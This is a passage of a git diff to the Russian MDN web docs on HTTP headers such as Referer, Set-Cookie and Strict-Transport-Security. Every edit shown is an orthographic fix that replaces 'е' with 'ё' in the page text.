объектов, однозначно представляющие запрошенные ресурсы. Они представляют собой строку символов ASCII, помещённых между двойными кавычками (например, <strong>"675af34563dc-tr34"</strong>) и могут быть префиксами<strong> W/</strong>, чтобы указать, что следует использовать слабый алгоритм сравнения.</dd> <dt><code>*</code></dt> - <dd>Звездочка представляет собой специальное значение, представляющее любой ресурс.</dd> + <dd>Звёздочка представляет собой специальное значение, представляющее любой ресурс.</dd> </dl> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/http/headers/if-modified-since/index.html b/files/ru/web/http/headers/if-modified-since/index.html index 5b6563036e..8adad2f7cc 100644 --- a/files/ru/web/http/headers/if-modified-since/index.html +++ b/files/ru/web/http/headers/if-modified-since/index.html @@ -11,11 +11,11 @@ original_slug: Web/HTTP/Заголовки/If-Modified-Since --- <div>{{HTTPSidebar}}</div> -<p>Заголовок HTTP запроса <strong><code>If-Modified-Since</code></strong> делает запрос условным: сервер отправит обратно запрошенный ресурс с статусом {{HTTPStatus("200")}}, только если он был изменен после указанной даты. Если запрос не был изменен после указанной даты, ответ будет {{HTTPStatus("304")}} без какого-либо тела; заголовок {{HTTPHeader("Last-Modified")}} при этом будет содержать дату последней модификации. В отличие от {{HTTPHeader("If-Unmodified-Since")}}, <code>If-Modified-Since</code> может использоваться только с {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}.</p> +<p>Заголовок HTTP запроса <strong><code>If-Modified-Since</code></strong> делает запрос условным: сервер отправит обратно запрошенный ресурс с статусом {{HTTPStatus("200")}}, только если он был изменён после указанной даты. Если запрос не был изменён после указанной даты, ответ будет {{HTTPStatus("304")}} без какого-либо тела; заголовок {{HTTPHeader("Last-Modified")}} при этом будет содержать дату последней модификации. В отличие от {{HTTPHeader("If-Unmodified-Since")}}, <code>If-Modified-Since</code> может использоваться только с {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}.</p> <p>При использовании в сочетании с {{HTTPHeader("If-None-Match")}} заголовок <code>If-Modified-Since</code> игнорируется, кроме тех случаев, когда сервер не поддерживает If-None-Match.</p> -<p>Наиболее распространенным вариантом использования является обновление кэшированного объекта, не связанного с {{HTTPHeader("ETag")}}.</p> +<p>Наиболее распространённым вариантом использования является обновление кэшированного объекта, не связанного с {{HTTPHeader("ETag")}}.</p> <table class="properties"> <tbody> diff --git a/files/ru/web/http/headers/if-unmodified-since/index.html b/files/ru/web/http/headers/if-unmodified-since/index.html index 93a843facc..a9b70ee934 100644 --- a/files/ru/web/http/headers/if-unmodified-since/index.html +++ b/files/ru/web/http/headers/if-unmodified-since/index.html @@ -12,12 +12,12 @@ original_slug: Web/HTTP/Заголовки/If-Unmodified-Since <div> <p>{{HTTPSidebar}}</p> -<p>HTTP-заголовок запроса <code><strong>If-Unmodified-Since</strong></code> делает запрос условным: сервер отправит обратно запрошенный ресурс или примет его в случае {{HTTPMethod("POST")}} или другого {{Glossary("safe", "небезопасного")}} метода, только если он не был последним изменен после указанной даты. Если запрос был изменен после указанной даты, то ответ будет {{HTTPStatus("412")}} (Precondition Failed) ошибка.</p> +<p>HTTP-заголовок запроса <code><strong>If-Unmodified-Since</strong></code> делает запрос условным: сервер отправит обратно запрошенный ресурс или примет его в случае {{HTTPMethod("POST")}} или другого {{Glossary("safe", "небезопасного")}} метода, только если он не был последним изменён после указанной даты. Если запрос был изменён после указанной даты, то ответ будет {{HTTPStatus("412")}} (Precondition Failed) ошибка.</p> -<p>Существует два распространенных варианта использования:</p> +<p>Существует два распространённых варианта использования:</p> <ul> - <li>В сочетании с другими {{Glossary("safe", "небезопасными")}} методами, такими как {{HTTPMethod("POST")}}, он может использоваться для реализации <a href="https://en.wikipedia.org/wiki/Optimistic_concurrency_control">optimistic concurrency control</a>, например, сделанного некоторыми вики-версиями: выпуски отклоняются, если сохраненный документ был изменен с момента восстановления оригинала.</li> + <li>В сочетании с другими {{Glossary("safe", "небезопасными")}} методами, такими как {{HTTPMethod("POST")}}, он может использоваться для реализации <a href="https://en.wikipedia.org/wiki/Optimistic_concurrency_control">optimistic concurrency control</a>, например, сделанного некоторыми вики-версиями: выпуски отклоняются, если сохранённый документ был изменён с момента восстановления оригинала.</li> </ul> </div> diff --git a/files/ru/web/http/headers/index.html b/files/ru/web/http/headers/index.html index ddb86dab64..7c1de3ac7b 100644 --- a/files/ru/web/http/headers/index.html +++ b/files/ru/web/http/headers/index.html @@ -52,11 +52,11 @@ original_slug: Web/HTTP/Заголовки <strong>{{HTTPHeader("WWW-Authenticate")}}</strong><br> Определяет метод аутентификации, который должен использоваться для доступа к ресурсу.<br> <strong>{{HTTPHeader ( "Authorization")}}</strong><br> - Содержит учетные данные для аутентификации агента пользователя на сервере.<br> + Содержит учётные данные для аутентификации агента пользователя на сервере.<br> <strong>{{HTTPHeader ( "Proxy-Authenticate")}}</strong><br> Определяет метод аутентификации, который должен использоваться для доступа к ресурсам на прокси-сервере.<br> <strong>{{HTTPHeader ( "Proxy-Authorization")}}</strong><br> - Содержит учетные данные для аутентификации агента пользователя с прокси-сервером.</p> + Содержит учётные данные для аутентификации агента пользователя с прокси-сервером.</p> <p>Ниже перечислены основные HTTP заголовки с кратким описанием:</p> @@ -192,7 +192,7 @@ original_slug: Web/HTTP/Заголовки </tr> <tr> <td><code><a href="/ru/docs/Web/HTTP/Заголовки/Connection" title="ru/Connection">Connection</a></code></td> - <td>Определяет, остается ли сетевое соединение открытым после завершения текущей транзакции (запроса).</td> + <td>Определяет, остаётся ли сетевое соединение открытым после завершения текущей транзакции (запроса).</td> <td></td> <td></td> </tr> diff --git a/files/ru/web/http/headers/last-modified/index.html b/files/ru/web/http/headers/last-modified/index.html index 2c7518129c..05b7486ea6 100644 --- a/files/ru/web/http/headers/last-modified/index.html +++ b/files/ru/web/http/headers/last-modified/index.html @@ -11,7 +11,7 @@ original_slug: Web/HTTP/Заголовки/Last-Modified --- <div>{{HTTPSidebar}}</div> -<p>Заголовок <strong><code>Last-Modified</code></strong> в ответе HTTP содержит дату и время, в которую, по мнению удаленного сервера, запрашиваемый ресурс был изменен. Он используется в качестве средства проверки для определения того, остался ли ресурс неизменным. Этот заголовок менее надежный, чем {{HTTPHeader("ETag")}}, и используется как резервный механизм. Условный запрос, содержащий заголовок {{HTTPHeader("If-Modified-Since")}} или {{HTTPHeader("If-Unmodified-Since")}} позволяет серверу использовать для сравнения эту дату.</p> +<p>Заголовок <strong><code>Last-Modified</code></strong> в ответе HTTP содержит дату и время, в которую, по мнению удалённого сервера, запрашиваемый ресурс был изменён. Он используется в качестве средства проверки для определения того, остался ли ресурс неизменным. Этот заголовок менее надёжный, чем {{HTTPHeader("ETag")}}, и используется как резервный механизм. Условный запрос, содержащий заголовок {{HTTPHeader("If-Modified-Since")}} или {{HTTPHeader("If-Unmodified-Since")}} позволяет серверу использовать для сравнения эту дату.</p> <table class="properties"> <tbody> diff --git a/files/ru/web/http/headers/pragma/index.html b/files/ru/web/http/headers/pragma/index.html index 5ee1b0060f..3e6b8a9057 100644 --- a/files/ru/web/http/headers/pragma/index.html +++ b/files/ru/web/http/headers/pragma/index.html @@ -9,10 +9,10 @@ original_slug: Web/HTTP/Заголовки/Pragma --- <div>{{HTTPSidebar}}</div> -<p>Общий заголовок <strong><code>Pragma</code></strong> HTTP / 1.0 - это заголовок, зависящий от реализации, который может иметь различные эффекты в цепочке запрос-ответ. Он используется для обратной совместимости с кэшами HTTP / 1.0, где заголовок <code>Cache-Control</code> HTTP / 1.1 еще не присутствует.</p> +<p>Общий заголовок <strong><code>Pragma</code></strong> HTTP / 1.0 - это заголовок, зависящий от реализации, который может иметь различные эффекты в цепочке запрос-ответ. Он используется для обратной совместимости с кэшами HTTP / 1.0, где заголовок <code>Cache-Control</code> HTTP / 1.1 ещё не присутствует.</p> <div class="note"> -<p><strong>Примечание:</strong> <strong><code>Pragma</code></strong> не указана для ответов HTTP и поэтому не является надежной заменой общего заголовка управления кэшем HTTP/1.1, хотя она ведет себя так же, как <code>Cache-Control: no-cache</code>, если поле заголовка управления кэшем опущено в запросе. Используйте <code>Pragma</code> только для обратной совместимости с клиентами HTTP / 1.0.</p> +<p><strong>Примечание:</strong> <strong><code>Pragma</code></strong> не указана для ответов HTTP и поэтому не является надёжной заменой общего заголовка управления кэшем HTTP/1.1, хотя она ведёт себя так же, как <code>Cache-Control: no-cache</code>, если поле заголовка управления кэшем опущено в запросе. Используйте <code>Pragma</code> только для обратной совместимости с клиентами HTTP / 1.0.</p> </div> <table class="properties"> @@ -67,7 +67,7 @@ original_slug: Web/HTTP/Заголовки/Pragma <h2 id="Совместимость_браузера">Совместимость браузера</h2> -<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <strong><code>https://github.com/mdn/browser-compat-data</code></strong> и отправьте нам запрос.</p> +<p class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <strong><code>https://github.com/mdn/browser-compat-data</code></strong> и отправьте нам запрос.</p> <p>{{Compat("http.headers.Pragma")}}</p> diff --git a/files/ru/web/http/headers/referer/index.html b/files/ru/web/http/headers/referer/index.html index f227769466..d80a71b11a 100644 --- a/files/ru/web/http/headers/referer/index.html +++ b/files/ru/web/http/headers/referer/index.html @@ -10,14 +10,14 @@ original_slug: Web/HTTP/Заголовки/Referer --- <div>{{HTTPSidebar}}</div> -<p>Заголовок запроса <code><strong>Referer</strong></code> содержит URL исходной страницы, с которой был осуществлен переход на текущую страницу. Заголовок <code>Referer</code> позволяет серверу узнать откуда был осуществлен переход на запрашиваемую страницу. Сервер может анализировать эти данные, записывать их в логи или оптимизировать процесс кэширования.</p> +<p>Заголовок запроса <code><strong>Referer</strong></code> содержит URL исходной страницы, с которой был осуществлён переход на текущую страницу. Заголовок <code>Referer</code> позволяет серверу узнать откуда был осуществлён переход на запрашиваемую страницу. Сервер может анализировать эти данные, записывать их в логи или оптимизировать процесс кэширования.</p> <p>Обратите внимание, что слово «Referer» на самом деле является неправильным написанием слова «Referrer». См. {{interwiki("wikipedia", "HTTP_referer", "HTTP referer на Wikipedia")}} .</p> <div class="warning"> -<p>Заголовок <code>Referer</code> может раскрыть информацию пользователя об истории посещенных страниц, что может привести к нарушению приватности.</p> +<p>Заголовок <code>Referer</code> может раскрыть информацию пользователя об истории посещённых страниц, что может привести к нарушению приватности.</p> -<p>Поэтому, никогда не ссылайтесь и не включайте на страницу контент без предварительной проверки конфиденциальности, безопасности и сопряженных с этим рисков, в том числе на страницах, которые не содержат информации о риске, но связаны с ним.</p> +<p>Поэтому, никогда не ссылайтесь и не включайте на страницу контент без предварительной проверки конфиденциальности, безопасности и сопряжённых с этим рисков, в том числе на страницах, которые не содержат информации о риске, но связаны с ним.</p> <p>К примеру, по умолчанию URL страницы сброса пароля будет попадать на хосты, размещающие контент на странице, и хосты ссылок, нажатых на этой странице. В обоих случаях сторонний хост получит <code>Referer</code> пользователя.</p> @@ -32,7 +32,7 @@ original_slug: Web/HTTP/Заголовки/Referer <ul> <li>исходный ресурс -- локальный "файл" или "data" URI,</li> - <li>используется незащищенный HTTP-запрос, а исходная страница была получена с защищенным протоколом (HTTPS).</li> + <li>используется незащищённый HTTP-запрос, а исходная страница была получена с защищённым протоколом (HTTPS).</li> </ul> <table class="properties"> @@ -57,7 +57,7 @@ original_slug: Web/HTTP/Заголовки/Referer <dl> <dt><url></dt> - <dd>Абсолютный или частичный адрес предыдущей веб-страницы, с которой был осуществлен переход на запрашиваемую страницу. Фрагменты URL-адреса (т.к. #якорь") и данные пользователя(т.к. "логин:пароль" в "https://username:password@example.com/foo/bar/") не включать.</dd> + <dd>Абсолютный или частичный адрес предыдущей веб-страницы, с которой был осуществлён переход на запрашиваемую страницу. Фрагменты URL-адреса (т.к. #якорь") и данные пользователя(т.к. "логин:пароль" в "https://username:password@example.com/foo/bar/") не включать.</dd> </dl> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/http/headers/retry-after/index.html b/files/ru/web/http/headers/retry-after/index.html index 75b793195e..6161a8dbee 100644 --- a/files/ru/web/http/headers/retry-after/index.html +++ b/files/ru/web/http/headers/retry-after/index.html @@ -42,7 +42,7 @@ Retry-After: <delay-seconds> <dl> <dt><http-date></dt> - <dd>Дата, после которой пытаться еще раз. За документацией к HTTP дате, обратитесь сюда: {{HTTPHeader("Дата")}}.</dd> + <dd>Дата, после которой пытаться ещё раз. За документацией к HTTP дате, обратитесь сюда: {{HTTPHeader("Дата")}}.</dd> <dt><delay-seconds></dt> <dd>Неотрицательное число секунд, показывающее время ожидания перед новым запросом.</dd> </dl> @@ -51,7 +51,7 @@ Retry-After: <delay-seconds> <h3 id="Работа_с_запланированным_временем_простоя">Работа с запланированным временем простоя</h3> -<p>Поддержка <code>Retry-After</code> реализована еще не везде. Впрочем, некоторые боты, к примеру Googlebot, понимает заголовок <code>Retry-After</code>. В данном случае полезно отправлять его с кодом {{HTTPStatus(503)}} (Service Unavailable), чтобы поисковики продолжили индексировать после простоя</p> +<p>Поддержка <code>Retry-After</code> реализована ещё не везде. Впрочем, некоторые боты, к примеру Googlebot, понимает заголовок <code>Retry-After</code>. В данном случае полезно отправлять его с кодом {{HTTPStatus(503)}} (Service Unavailable), чтобы поисковики продолжили индексировать после простоя</p> <pre>Retry-After: Wed, 21 Oct 2015 07:28:00 GMT Retry-After: 120 diff --git a/files/ru/web/http/headers/set-cookie/index.html b/files/ru/web/http/headers/set-cookie/index.html index 1898f6cf56..90c65266d9 100644 --- a/files/ru/web/http/headers/set-cookie/index.html +++ b/files/ru/web/http/headers/set-cookie/index.html @@ -63,14 +63,14 @@ Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value> <dd>Cookie начинается с пары имя-значение: <ul> <li><code><cookie-name></code> может содержать любые символы US-ASCII, за исключением управляющих символов (CTLs), пробелов, или табуляций. Оно также не должно содержать разделительных символов, таких как следующие: <code>( ) < > @ , ; : \ " / [ ] ? = { }</code>.</li> - <li><code><cookie-value></code> может быть опционально заключено в двойные кавычки, разрешены любые символы US-ASCII за исключением CTLs, пробела, двойных кавычек, запятой, точки с запятой, и обратного слеша. <strong>Кодирование:</strong> Многие реализации выполняют кодирование в значениях cookies, однако этого не требуется по спецификации RFC. Однако, это помогает удовлетворить требование о разрешенных символах в <cookie-value>.</li> - <li><strong><code>__Secure-</code> prefix</strong> {{non-standard_inline}}: Cookies с именем, начинающимся с <code> __Secure-</code> (подчеркивание является частью префикса ) должны быть установлены вместе с флагом secure, и должны быть с безопасной страницы (HTTPS).</li> - <li><strong><code>__Host-</code> prefix</strong> {{non-standard_inline}}: Cookies с именем, начинающимся с <code>__Host-</code> должны быть установлены с флагом secure <code>secure</code>, должны быть с безопасной страницы (HTTPS), не должны иметь определенный домен (и, следовательно, не не посылаются поддоменами), а также параметр Path должен быть "/".</li> + <li><code><cookie-value></code> может быть опционально заключено в двойные кавычки, разрешены любые символы US-ASCII за исключением CTLs, пробела, двойных кавычек, запятой, точки с запятой, и обратного слеша. <strong>Кодирование:</strong> Многие реализации выполняют кодирование в значениях cookies, однако этого не требуется по спецификации RFC. Однако, это помогает удовлетворить требование о разрешённых символах в <cookie-value>.</li> + <li><strong><code>__Secure-</code> prefix</strong> {{non-standard_inline}}: Cookies с именем, начинающимся с <code> __Secure-</code> (подчёркивание является частью префикса ) должны быть установлены вместе с флагом secure, и должны быть с безопасной страницы (HTTPS).</li> + <li><strong><code>__Host-</code> prefix</strong> {{non-standard_inline}}: Cookies с именем, начинающимся с <code>__Host-</code> должны быть установлены с флагом secure <code>secure</code>, должны быть с безопасной страницы (HTTPS), не должны иметь определённый домен (и, следовательно, не не посылаются поддоменами), а также параметр Path должен быть "/".</li> </ul> </dd> <dt><code>Expires=<date></code> {{optional_inline}}</dt> <dd> - <p>Максимальное время жизни cookie в формате метки даты-времени HTTP. См. {{HTTPHeader("Date")}} о деталях формата Если не определен, cookie будет иметь время жизни <strong>сессионного cookie. </strong>Сессия окончена, когда клиент отключается, что приводит к удалению сессионных cookie в этот момент. Однако, многие браузеры имеют возможность, называемую восстановление сессии, которая сохраняет все ваши вкладки и затем возвращает их, когда вы в следующий раз запускаете браузер. Cookies будут также присутствовать, словно вы никогда не закрывали браузер.</p> + <p>Максимальное время жизни cookie в формате метки даты-времени HTTP. См. {{HTTPHeader("Date")}} о деталях формата Если не определён, cookie будет иметь время жизни <strong>сессионного cookie. </strong>Сессия окончена, когда клиент отключается, что приводит к удалению сессионных cookie в этот момент. Однако, многие браузеры имеют возможность, называемую восстановление сессии, которая сохраняет все ваши вкладки и затем возвращает их, когда вы в следующий раз запускаете браузер. Cookies будут также присутствовать, словно вы никогда не закрывали браузер.</p> <p>Когда устанавливается срок действия, время и дата устанавливаются не относительно сервера, а относительно клиента, на котором установлено cookie,</p> </dd> @@ -86,7 +86,7 @@ Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value> <dt><code>Path=<path-value></code> {{optional_inline}}</dt> <dd>Путь, который должен существовать в запрошенном URL, иначе браузер не отправит заголовок Cookie.</dd> <dd>Пример: <code>/</code> - cookie будет отправляться со всеми запросами<br> - Пример: <code>/docs/</code> - cookie будет отправляться с запросами к директории docs и ее поддиректориям</dd> + Пример: <code>/docs/</code> - cookie будет отправляться с запросами к директории docs и её поддиректориям</dd> <dt><code>Secure</code> {{optional_inline}}</dt> <dd>Cookie будет отправлен на сервер только с запросами c использованием SSL и протокола HTTPS.<br> <br> @@ -124,14 +124,14 @@ Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value> <h3 id="Постоянный_cookie">Постоянный cookie</h3> -<p>Вместо истечения срока действия, когда клиент закрыт, срок действия постоянных файлов cookie истекает в определенную дату (<code>Expires</code>) или по истечении определенного промежутка времени (<code>Max-Age</code>).</p> +<p>Вместо истечения срока действия, когда клиент закрыт, срок действия постоянных файлов cookie истекает в определённую дату (<code>Expires</code>) или по истечении определённого промежутка времени (<code>Max-Age</code>).</p> <pre class="notranslate">Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly </pre> <h3 id="Неверные_домены">Неверные домены</h3> -<p>Файл cookie, принадлежащий домену, который не включает исходный сервер, <a href="https://tools.ietf.org/html/rfc6265#section-4.1.2.3">должен быть отклонен пользовательским</a>. Следующий cookie будет отклонен, если он был установлен сервером, размещенным на originalcompany.com.</p> +<p>Файл cookie, принадлежащий домену, который не включает исходный сервер, <a href="https://tools.ietf.org/html/rfc6265#section-4.1.2.3">должен быть отклонён пользовательским</a>. Следующий cookie будет отклонён, если он был установлен сервером, размещённым на originalcompany.com.</p> <pre class="notranslate">Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk; Path=/; Expires=Wed, 30 Aug 2019 00:00:00 GMT</pre> diff --git a/files/ru/web/http/headers/strict-transport-security/index.html b/files/ru/web/http/headers/strict-transport-security/index.html index b4c6271a82..d5fa694237 100644 --- a/files/ru/web/http/headers/strict-transport-security/index.html +++ b/files/ru/web/http/headers/strict-transport-security/index.html @@ -6,7 +6,7 @@ original_slug: Web/HTTP/Заголовки/Strict-Transport-Security --- <div>{{HTTPSidebar}}</div> -<p><strong>HTTP <code>Strict-Transport-Security</code></strong> - заголовок ответа (часто используется аббревиатура {{Glossary("HSTS")}}), позволяющий web-сайтам уведомить браузер о том, что доступ к ним должен быть осуществлен только посредством HTTPS вместо HTTP.</p> +<p><strong>HTTP <code>Strict-Transport-Security</code></strong> - заголовок ответа (часто используется аббревиатура {{Glossary("HSTS")}}), позволяющий web-сайтам уведомить браузер о том, что доступ к ним должен быть осуществлён только посредством HTTPS вместо HTTP.</p> <table class="properties"> <tbody> @@ -41,7 +41,7 @@ Strict-Transport-Security: max-age=<expire-time>; preload <h2 id="Описание">Описание</h2> -<p>Если сайт поддерживает доступ с помощью HTTP и перенаправляет на HTTPS, посетители могут изначально коммуницировать с незащищенной версией сайта до перенаправления, если, к примеру, введут http://www.foo.com/ или даже просто foo.com. Это открывает возможности для атак посредников. Перенаправление может быть использовано для перевода посетителей на сайт злоумышленников вместо защищенной версии оригинального сайта.</p> +<p>Если сайт поддерживает доступ с помощью HTTP и перенаправляет на HTTPS, посетители могут изначально коммуницировать с незащищённой версией сайта до перенаправления, если, к примеру, введут http://www.foo.com/ или даже просто foo.com. Это открывает возможности для атак посредников. Перенаправление может быть использовано для перевода посетителей на сайт злоумышленников вместо защищённой версии оригинального сайта.</p> <p>HTTP Strict Transport Security заголовок сообщает браузеру, что тот никогда не должен загружать сайт через HTTP и всегда должен автоматически конвертировать все попытки доступа к сайту с помощью HTTP в HTTPS.</p> @@ -53,7 +53,7 @@ Strict-Transport-Security: max-age=<expire-time>; preload <p>Strict Transport Security разрешает эту проблему; пока вы подключены к вашему банковскому сайту с помощью HTTPS и тот использует Strict Transport Security, ваш браузер знает, что должен автоматически использовать только HTTPS, который не позволяет хакерам производить подобные атаки посредников.</p> -<h3 id="Как_ведет_себя_браузер">Как ведет себя браузер</h3> +<h3 id="Как_ведёт_себя_браузер">Как ведёт себя браузер</h3> <p>При первом доступе к сайту с помощью HTTPS и возврате <code>Strict-Transport-Security</code> заголовка, браузер сохраняет эту информацию, чтобы в дальнейшем при загрузке сайта через HTTP тот автоматически использовал HTTPS.</p> @@ -63,7 +63,7 @@ Strict-Transport-Security: max-age=<expire-time>; preload <h2 id="Предзагрузка_Strict_Transport_Security">Предзагрузка Strict Transport Security</h2> -<p>Google поддерживает<a href="https://hstspreload.org/"> HSTS preload service</a>. Следуя инструкциям и удачно отправив свой домен, браузер никогда не подключится к вашему домену через незащищенное соединение. Так как сервис хостится Google, все браузеры должны изъявить о намерении использовать (или на самом деле начать пользоваться) предзагруженным списком. Однако, это не часть HSTS спецификации и не должно считаться официальным.</p> +<p>Google поддерживает<a href="https://hstspreload.org/"> HSTS preload service</a>. Следуя инструкциям и удачно отправив свой домен, браузер никогда не подключится к вашему домену через незащищённое соединение. Так как сервис хостится Google, все браузеры должны изъявить о намерении использовать (или на самом деле начать пользоваться) предзагруженным списком. Однако, это не часть HSTS спецификации и не должно считаться официальным.</p> <ul> <li>Информация о списке HSTS предзагрузки в Chrome : <a href="https://www.chromium.org/hsts">https://www.chromium.org/hsts</a></li> diff --git a/files/ru/web/http/headers/vary/index.html b/files/ru/web/http/headers/vary/index.html index 25d269b056..b0b114d3e3 100644 --- a/files/ru/web/http/headers/vary/index.html +++ b/files/ru/web/http/headers/vary/index.html @@ -35,7 +35,7 @@ Vary: <header-name>, <header-name>, ... <dt>*</dt> <dd>Каждый запрос должен рассматриваться как уникальный и не кэшируемый. Лучший способ указать это - использовать {{HTTPHeader ("Cache-Control")}}: <code>no-store</code>, который удобнее для чтения и также сигнализирует о том, что объект не должен храниться никогда.</dd> <dt><header-name></dt> - <dd>Разделенный запятыми список имен заголовков, которые необходимо учитывать при принятии решения о том, можно ли использовать кэшированный ответ.</dd> + <dd>Разделённый запятыми список имён заголовков, которые необходимо учитывать при принятии решения о том, можно ли использовать кэшированный ответ.</dd> </dl> <h2 id="Examples">Examples</h2> diff --git a/files/ru/web/http/headers/x-content-type-options/index.html b/files/ru/web/http/headers/x-content-type-options/index.html index 7271e86cd1..e037d5435d 100644 --- a/files/ru/web/http/headers/x-content-type-options/index.html +++ b/files/ru/web/http/headers/x-content-type-options/index.html @@ -13,7 +13,7 @@ original_slug: Web/HTTP/Заголовки/X-Content-Type-Options <p><span class="tlid-translation translation" lang="ru"><span title="">HTTP-заголовок ответа</span></span> <code><strong>X-Content-Type-Options</strong></code> <span class="tlid-translation translation" lang="ru"><span title="">является маркером, используемым сервером для указания того, что типы MIME, объявленные в заголовках {{HTTPHeader ("Content-Type")}}, должны соблюдаться и не изменяться.</span></span> Это позволяет отказаться от <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#MIME_sniffing">перехвата MIME</a>, или, другими словами, <span class="tlid-translation translation" lang="ru"><span title="">это способ сказать, что веб-мастера знали, что они делают.</span></span></p> -<p><span class="tlid-translation translation" lang="ru"><span title="">Этот HTTP-заголовок был введен Microsoft в IE 8 как способ для веб-мастеров блокировать происходящий перехват содержимого и может преобразовывать неисполняемые типы MIME в исполняемые типы MIME.</span> <span title="">С тех пор другие браузеры внедрили его, даже если их алгоритмы обработки MIME были менее агрессивными.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Этот HTTP-заголовок был введён Microsoft в IE 8 как способ для веб-мастеров блокировать происходящий перехват содержимого и может преобразовывать неисполняемые типы MIME в исполняемые типы MIME.</span> <span title="">С тех пор другие браузеры внедрили его, даже если их алгоритмы обработки MIME были менее агрессивными.</span></span></p> <p><span class="tlid-translation translation" lang="ru"><span title="">Тестеры безопасности сайта обычно ожидают, что этот заголовок будет установлен.</span></span></p> diff --git a/files/ru/web/http/headers/x-forwarded-for/index.html b/files/ru/web/http/headers/x-forwarded-for/index.html index 337bdaaacd..a8b990579c 100644 --- a/files/ru/web/http/headers/x-forwarded-for/index.html +++ b/files/ru/web/http/headers/x-forwarded-for/index.html @@ -16,7 +16,7 @@ original_slug: Web/HTTP/Заголовки/X-Forwarded-For <p>Стандартизованной версией этого заголовка является HTTP {{HTTPHeader("Forwarded")}} заголовок.</p> -<p><code>X-Forwarded-For</code> также является заголовком электронной почты, указывающим, что сообщение электронной почты было отправлено из другой учетной записи.</p> +<p><code>X-Forwarded-For</code> также является заголовком электронной почты, указывающим, что сообщение электронной почты было отправлено из другой учётной записи.</p> <table class="properties"> <tbody> diff --git a/files/ru/web/http/headers/x-xss-protection/index.html b/files/ru/web/http/headers/x-xss-protection/index.html index 442fe6ab95..7bc5ec770b 100644 --- a/files/ru/web/http/headers/x-xss-protection/index.html +++ b/files/ru/web/http/headers/x-xss-protection/index.html @@ -22,7 +22,7 @@ original_slug: Web/HTTP/Заголовки/X-XSS-Protection </tr> <tr> <th scope="row"> - <p>Запрещенное имя заголовка</p> + <p>Запрещённое имя заголовка</p> <p>{{Glossary("Forbidden header name")}}</p> </th> diff --git a/files/ru/web/http/index.html b/files/ru/web/http/index.html index aec0b6c893..b1708e5627 100644 --- a/files/ru/web/http/index.html +++ b/files/ru/web/http/index.html @@ -10,7 +10,7 @@ translation_of: Web/HTTP --- <p>{{HTTPSidebar}}</p> -<p class="summary"><strong>Протокол передачи гипертекста (<dfn>Hypertext Transfer Protocol - HTTP)</dfn></strong> - это <a href="https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB%D1%8B_%D0%BF%D1%80%D0%B8%D0%BA%D0%BB%D0%B0%D0%B4%D0%BD%D0%BE%D0%B3%D0%BE_%D1%83%D1%80%D0%BE%D0%B2%D0%BD%D1%8F">прикладной протокол</a> для передачи гипертекстовых документов, таких как HTML. Он создан для связи между веб-браузерами и веб-серверами, хотя в принципе HTTP может использоваться и для других целей. Протокол следует классической <a href="https://ru.wikipedia.org/wiki/%D0%9A%D0%BB%D0%B8%D0%B5%D0%BD%D1%82-%D1%81%D0%B5%D1%80%D0%B2%D0%B5%D1%80">клиент-серверной модели</a>, когда клиент открывает соединение для создания запроса, а затем ждет ответа. HTTP - это <a href="https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB_%D0%B1%D0%B5%D0%B7_%D1%81%D0%BE%D1%85%D1%80%D0%B0%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F_%D1%81%D0%BE%D1%81%D1%82%D0%BE%D1%8F%D0%BD%D0%B8%D1%8F">протокол без сохранения состояния</a>, то есть сервер не сохраняет никаких данных (состояние) между двумя парами "запрос-ответ". Несмотря на то, что HTTP основан на TCP/IP, он также может использовать любой другой протокол <a href="https://ru.wikipedia.org/wiki/%D0%A2%D1%80%D0%B0%D0%BD%D1%81%D0%BF%D0%BE%D1%80%D1%82%D0%BD%D1%8B%D0%B9_%D1%83%D1%80%D0%BE%D0%B2%D0%B5%D0%BD%D1%8C">транспортного уровня</a> с гарантированной доставкой.</p> +<p class="summary"><strong>Протокол передачи гипертекста (<dfn>Hypertext Transfer Protocol - HTTP)</dfn></strong> - это <a href="https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB%D1%8B_%D0%BF%D1%80%D0%B8%D0%BA%D0%BB%D0%B0%D0%B4%D0%BD%D0%BE%D0%B3%D0%BE_%D1%83%D1%80%D0%BE%D0%B2%D0%BD%D1%8F">прикладной протокол</a> для передачи гипертекстовых документов, таких как HTML. Он создан для связи между веб-браузерами и веб-серверами, хотя в принципе HTTP может использоваться и для других целей. Протокол следует классической <a href="https://ru.wikipedia.org/wiki/%D0%9A%D0%BB%D0%B8%D0%B5%D0%BD%D1%82-%D1%81%D0%B5%D1%80%D0%B2%D0%B5%D1%80">клиент-серверной модели</a>, когда клиент открывает соединение для создания запроса, а затем ждёт ответа. HTTP - это <a href="https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB_%D0%B1%D0%B5%D0%B7_%D1%81%D0%BE%D1%85%D1%80%D0%B0%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F_%D1%81%D0%BE%D1%81%D1%82%D0%BE%D1%8F%D0%BD%D0%B8%D1%8F">протокол без сохранения состояния</a>, то есть сервер не сохраняет никаких данных (состояние) между двумя парами "запрос-ответ". Несмотря на то, что HTTP основан на TCP/IP, он также может использовать любой другой протокол <a 